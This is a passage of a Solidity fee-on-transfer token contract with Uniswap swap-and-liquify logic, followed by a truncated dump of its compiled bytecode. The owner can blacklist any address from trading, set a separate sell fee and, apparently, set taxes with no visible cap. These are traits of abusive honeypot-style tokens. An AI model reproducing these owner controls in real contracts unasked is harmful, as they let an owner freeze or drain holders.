_maxwallet = newLimit; } function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() { minimumTokensBeforeSwap = newLimit; } function setMarketingWallet(address newAddress) external onlyOwner() { marketingWallet = payable(newAddress); } function setRewardsWallet(address newAddress) external onlyOwner() { rewardsWallet = payable(newAddress); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner { swapAndLiquifyByLimitOnly = newValue; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH()); if(newPairAddress == address(0)) //Create If Doesnt exist { newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } uniswapV2Pair = newPairAddress; //Set new pair address uniswapV2Router = _uniswapV2Router; //Set new router address } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(!isBlacklisted[sender] && !isBlacklisted[recipient], "To/from address is blacklisted!"); require(amount > 0, "Transfer amount must be greater than zero"); if(inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { if(sender != owner() && recipient != owner()) { require(amount <= _maxbuy, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && sender != uniswapV2Pair && swapAndLiquifyEnabled) { if(swapAndLiquifyByLimitOnly) contractTokenBalance = minimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance); } _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? amount : takeFee(sender, recipient, amount); if(checkWalletLimit && !isWalletLimitExempt[recipient]) require(balanceOf(recipient).add(finalAmount) <= _maxwallet); _balances[recipient] = _balances[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { uint256 tokensForLP = tAmount.div(_totaltax).mul(_autoliquidity).div(2); uint256 tokensForSwap = tAmount.sub(tokensForLP); swapTokensForEth(tokensForSwap); uint256 amountReceived = address(this).balance; uint256 totalBNBFee = _totaltax.sub(_autoliquidity.div(2)); uint256 amountBNBLiquidity = amountReceived.mul(_autoliquidity).div(totalBNBFee).div(2); uint256 amountBNBRewards = amountReceived.mul(_developer).div(totalBNBFee); uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBRewards); transferToAddressETH(marketingWallet, amountBNBMarketing); transferToAddressETH(rewardsWallet, amountBNBRewards); addLiquidity(tokensForLP, amountBNBLiquidity); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = recipient == uniswapV2Pair ? amount.mul(_cooldown).div(100) : amount.mul(_totaltax).div(100); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } }
0x6080604052600436106103035760003560e01c8063715018a611610190578063aa660bea116100dc578063dd62ed3e11610095578063f1d5f5171161006f578063f1d5f51714610b93578063f2fde38b14610bbc578063f872858a14610be5578063fe575a8714610c105761030a565b8063dd62ed3e14610b04578063ec28438a14610b41578063ef422a1814610b6a5761030a565b8063aa660bea146109f4578063bfbeba0d14610a1f578063c49b9a8014610a4a578063c867d60b14610a73578063da00097d14610ab0578063dd46706414610adb5761030a565b8063a073d37f11610149578063a457c2d711610123578063a457c2d71461093a578063a5d69d1f14610977578063a69df4b5146109a0578063a9059cbb146109b75761030a565b8063a073d37f146108bd578063a12a7d61146108e8578063a1980430146109115761030a565b8063715018a6146107cf57806375f0a874146107e65780637a9d0758146108115780638da5cb5b1461083c57806392a40c341461086757806395d89b41146108925761030a565b806339b09d4a1161024f578063557ed1ba116102085780635d098b38116101e25780635d098b3814610713578063602bc62b1461073c57806362940cc41461076757806370a08231146107925761030a565b8063557ed1ba146106805780635881f3ef146106ab5780635b35f9c9146106e85761030a565b806339b09d4a146105705780633b97084a1461059b578063455a4396146105c457806349bd5a5e146105ed5780634a74bb02146106185780635342acb4146106435761030a565b80632198cf6c116102bc57806327c8f8351161029657806327c8f835146104b25780632b112e49146104dd578063313ce5671461050857806339509351146105335761030a565b80632198cf6c1461042357806323b872dd1461044c5780632563ae83146104895761030a565b806306fdde031461030f578063095ea7b31461033a57806309e72cf614610377578063158ece13146103a25780631694505e146103cd57806318160ddd146103f85761030a565b3661030a57005b600080fd5b34801561031b57600080fd5b50610324610c4d565b60405161033191906142b3565b60405180910390f35b34801561034657600080fd5b50610361600480360381019061035c9190613d7b565b610cdf565b60405161036e919061427d565b60405180910390f35b34801561038357600080fd5b5061038c610cfd565b6040516103999190614475565b60405180910390f35b3480156103ae57600080fd5b506103b7610d03565b6040516103c49190614475565b60405180910390f35b3480156103d957600080fd5b506103e2610d09565b6040516103ef9190614298565b60405180910390f35b34801561040457600080fd5b5061040d610d2f565b60405161041a9190614475565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190613d3b565b610d39565b005b34801561045857600080fd5b50610473600480360381019061046e9190613ce8565b610e29565b604051610480919061427d565b60405180910390f35b34801561049557600080fd5b506104b060048036038101906104ab9190613dbb565b610f03565b005b3480156104be57600080fd5b506104c7610fb5565b6040516104d491906141bd565b60405180910390f35b3480156104e957600080fd5b506104f2610fd9565b6040516104ff9190614475565b60405180910390f35b34801561051457600080fd5b5061051d61101d565b60405161052a919061451a565b60405180910390f35b34801561053f57600080fd5b5061055a60048036038101906105559190613d7b565b611034565b604051610567919061427d565b60405180910390f35b34801561057c57600080fd5b506105856110e7565b6040516105929190614475565b60405180910390f35b3480156105a757600080fd5b506105c260048036038101906105bd9190613de8565b6110ed565b005b3480156105d057600080fd5b506105eb60048036038101906105e69190613d3b565b61118c565b005b3480156105f957600080fd5b5061060261127c565b60405161060f91906141bd565b60405180910390f35b34801561062457600080fd5b5061062d6112a2565b60405161063a919061427d565b60405180910390f35b34801561064f57600080fd5b5061066a60048036038101906106659190613c4e565b6112b5565b604051610677919061427d565b60405180910390f35b34801561068c57600080fd5b506106956112d5565b6040516106a29190614475565b60405180910390f35b3480156106b757600080fd5b506106d260048036038101906106cd9190613c4e565b6112dd565b6040516106df91906141bd565b60405180910390f35b3480156106f457600080fd5b506106fd611747565b60405161070a91906141d8565b60405180910390f35b34801561071f57600080fd5b5061073a60048036038101906107359190613c4e565b61176d565b005b34801561074857600080fd5b50610751611846565b60405161075e9190614475565b60405180910390f35b34801561077357600080fd5b5061077c611850565b6040516107899190614475565b60405180910390f35b34801561079e57600080fd5b506107b960048036038101906107b49190613c4e565b611856565b6040516107c69190614475565b60405180910390f35b3480156107db57600080fd5b506107e461189f565b005b3480156107f257600080fd5b506107fb6119f2565b60405161080891906141d8565b60405180910390f35b34801561081d57600080fd5b50610826611a18565b6040516108339190614475565b60405180910390f35b34801561084857600080fd5b50610851611a1e565b60405161085e91906141bd565b60405180910390f35b34801561087357600080fd5b5061087c611a47565b6040516108899190614475565b60405180910390f35b34801561089e57600080fd5b506108a7611a4d565b6040516108b491906142b3565b60405180910390f35b3480156108c957600080fd5b506108d2611adf565b6040516108df9190614475565b60405180910390f35b3480156108f457600080fd5b5061090f600480360381019061090a9190613e68565b611ae9565b005b34801561091d57600080fd5b5061093860048036038101906109339190613c4e565b611bee565b005b34801561094657600080fd5b50610961600480360381019061095c9190613d7b565b611cc7565b60405161096e919061427d565b60405180910390f35b34801561098357600080fd5b5061099e60048036038101906109999190613dbb565b611d94565b005b3480156109ac57600080fd5b506109b5611e46565b005b3480156109c357600080fd5b506109de60048036038101906109d99190613d7b565b61201a565b6040516109eb919061427d565b60405180910390f35b348015610a0057600080fd5b50610a09612039565b604051610a169190614475565b60405180910390f35b348015610a2b57600080fd5b50610a3461203f565b604051610a419190614475565b60405180910390f35b348015610a5657600080fd5b50610a716004803603810190610a6c9190613dbb565b612045565b005b348015610a7f57600080fd5b50610a9a6004803603810190610a959190613c4e565b61212e565b604051610aa7919061427d565b60405180910390f35b348015610abc57600080fd5b50610ac561214e565b604051610ad2919061427d565b60405180910390f35b348015610ae757600080fd5b50610b026004803603810190610afd9190613de8565b612161565b005b348015610b1057600080fd5b50610b2b6004803603810190610b269190613ca8565b612328565b604051610b389190614475565b60405180910390f35b348015610b4d57600080fd5b50610b686004803603810190610b639190613de8565b6123af565b005b348015610b7657600080fd5b50610b916004803603810190610b8c9190613d3b565b61244e565b005b348015610b9f57600080fd5b50610bba6004803603810190610bb59190613de8565b61253e565b005b348015610bc857600080fd5b50610be36004803603810190610bde9190613c4e565b6125dd565b005b348015610bf157600080fd5b50610bfa61279f565b604051610c07919061427d565b60405180910390f35b348015610c1c57600080fd5b50610c376004803603810190610c329190613c4e565b6127b2565b604051610c44919061427d565b60405180910390f35b6060600b8054610c5c90614781565b80601f0160208091040260200160405190810160405280929190818152602001828054610c8890614781565b8015610cd55780601f10610caa57610100808354040283529160200191610cd5565b820191906000526020600020905b815481529060010190602001808311610cb857829003601f168201915b5050505050905090565b6000610cf3610cec612830565b8484612838565b6001905092915050565b60055481565b60115481565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600354905090565b610d41612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc5906143b5565b60405180910390fd5b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000610e36848484612a03565b50610ef884610e43612830565b610ef385604051806060016040528060288152602001614c6560289139601360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ea9612830565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130e49092919063ffffffff16565b612838565b600190509392505050565b610f0b612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8f906143b5565b60405180910390fd5b80601860176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b60006110186110077f000000000000000000000000000000000000000000000000000000000000dead611856565b60035461314890919063ffffffff16565b905090565b6000600d60009054906101000a900460ff16905090565b60006110dd611041612830565b846110d88560136000611052612830565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127d290919063ffffffff16565b612838565b6001905092915050565b60085481565b6110f5612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611182576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611179906143b5565b60405180910390fd5b8060068190555050565b611194612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611221576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611218906143b5565b60405180910390fd5b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601860159054906101000a900460ff1681565b60146020528060005260406000206000915054906101000a900460ff1681565b600042905090565b60006112e7612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611374576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136b906143b5565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156113bf57600080fd5b505afa1580156113d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f79190613c7b565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561145957600080fd5b505afa15801561146d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114919190613c7b565b6040518363ffffffff1660e01b81526004016114ae9291906141f3565b60206040518083038186803b1580156114c657600080fd5b505afa1580156114da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114fe9190613c7b565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116bf578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561157b57600080fd5b505afa15801561158f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115b39190613c7b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561161557600080fd5b505afa158015611629573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061164d9190613c7b565b6040518363ffffffff1660e01b815260040161166a9291906141f3565b602060405180830381600087803b15801561168457600080fd5b505af1158015611698573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116bc9190613c7b565b91505b81601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611775612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611802576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f9906143b5565b60405180910390fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600254905090565b600f5481565b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6118a7612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611934576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192b906143b5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60045481565b6060600c8054611a5c90614781565b80601f0160208091040260200160405190810160405280929190818152602001828054611a8890614781565b8015611ad55780601f10611aaa57610100808354040283529160200191611ad5565b820191906000526020600020905b815481529060010190602001808311611ab857829003601f168201915b5050505050905090565b6000600654905090565b611af1612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b75906143b5565b60405180910390fd5b83600e8190555082600f819055508160108190555080601181905550611bc5601054611bb7600f54600e546127d290919063ffffffff16565b6127d290919063ffffffff16565b600781905550611be26011546007546127d290919063ffffffff16565b60088190555050505050565b611bf6612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7a906143b5565b60405180910390fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000611d8a611cd4612830565b84611d8585604051806060016040528060258152602001614c8d6025913960136000611cfe612830565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130e49092919063ffffffff16565b612838565b6001905092915050565b611d9c612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e20906143b5565b60405180910390fd5b80601860166101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ed6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ecd90614455565b60405180910390fd5b6002544211611f1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f1190614435565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600061202e612027612830565b8484612a03565b506001905092915050565b60075481565b600e5481565b61204d612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d1906143b5565b60405180910390fd5b80601860156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051612123919061427d565b60405180910390a150565b60156020528060005260406000206000915054906101000a900460ff1681565b601860169054906101000a900460ff1681565b612169612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ed906143b5565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080426122a4919061458a565b600281905550600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6000601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6123b7612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612444576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161243b906143b5565b60405180910390fd5b8060048190555050565b612456612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124da906143b5565b60405180910390fd5b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b612546612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146125d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ca906143b5565b60405180910390fd5b8060058190555050565b6125e5612830565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612672576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612669906143b5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156126e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126d9906142f5565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601860179054906101000a900460ff1681565b60166020528060005260406000206000915054906101000a900460ff1681565b60008082846127e1919061458a565b905083811015612826576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161281d90614335565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156128a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289f90614415565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612918576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161290f90614315565b60405180910390fd5b80601360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516129f69190614475565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612a74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a6b906143f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612ae4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612adb906142d5565b60405180910390fd5b601660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612b885750601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b612bc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bbe90614355565b60405180910390fd5b60008211612c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c01906143d5565b60405180910390fd5b601860149054906101000a900460ff1615612c3157612c2a848484613192565b90506130dd565b612c39611a1e565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015612ca75750612c77611a1e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15612cf257600454821115612cf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ce890614375565b60405180910390fd5b5b6000612cfd30611856565b905060006006548210159050808015612d235750601860149054906101000a900460ff16155b8015612d7d5750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b8015612d955750601860159054906101000a900460ff165b15612dbf57601860169054906101000a900460ff1615612db55760065491505b612dbe82613365565b5b612e48846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250601260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130e49092919063ffffffff16565b601260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000601460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612f2e5750601460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612f4257612f3d87878761352c565b612f44565b845b9050601860179054906101000a900460ff168015612fac5750601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612fdb57600554612fcf82612fc189611856565b6127d290919063ffffffff16565b1115612fda57600080fd5b5b61302d81601260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127d290919063ffffffff16565b601260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516130cd9190614475565b60405180910390a3600193505050505b9392505050565b600083831115829061312c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161312391906142b3565b60405180910390fd5b506000838561313b919061466b565b9050809150509392505050565b600061318a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506130e4565b905092915050565b600061321d826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250601260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130e49092919063ffffffff16565b601260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132b282601260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127d290919063ffffffff16565b601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516133529190614475565b60405180910390a3600190509392505050565b6001601860146101000a81548160ff02191690831515021790555060006133be60026133b0600e546133a2600754876136f390919063ffffffff16565b61373d90919063ffffffff16565b6136f390919063ffffffff16565b905060006133d5828461314890919063ffffffff16565b90506133e0816137b8565b600047905060006134116134006002600e546136f390919063ffffffff16565b60075461314890919063ffffffff16565b9050600061344f600261344184613433600e548861373d90919063ffffffff16565b6136f390919063ffffffff16565b6136f390919063ffffffff16565b9050600061347a8361346c6010548761373d90919063ffffffff16565b6136f390919063ffffffff16565b905060006134a382613495858861314890919063ffffffff16565b61314890919063ffffffff16565b90506134d1600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613a43565b6134fd600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613a43565b6135078784613a8e565b505050505050506000601860146101000a81548160ff02191690831515021790555050565b600080601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473fffffffffffffffffffffffffffffff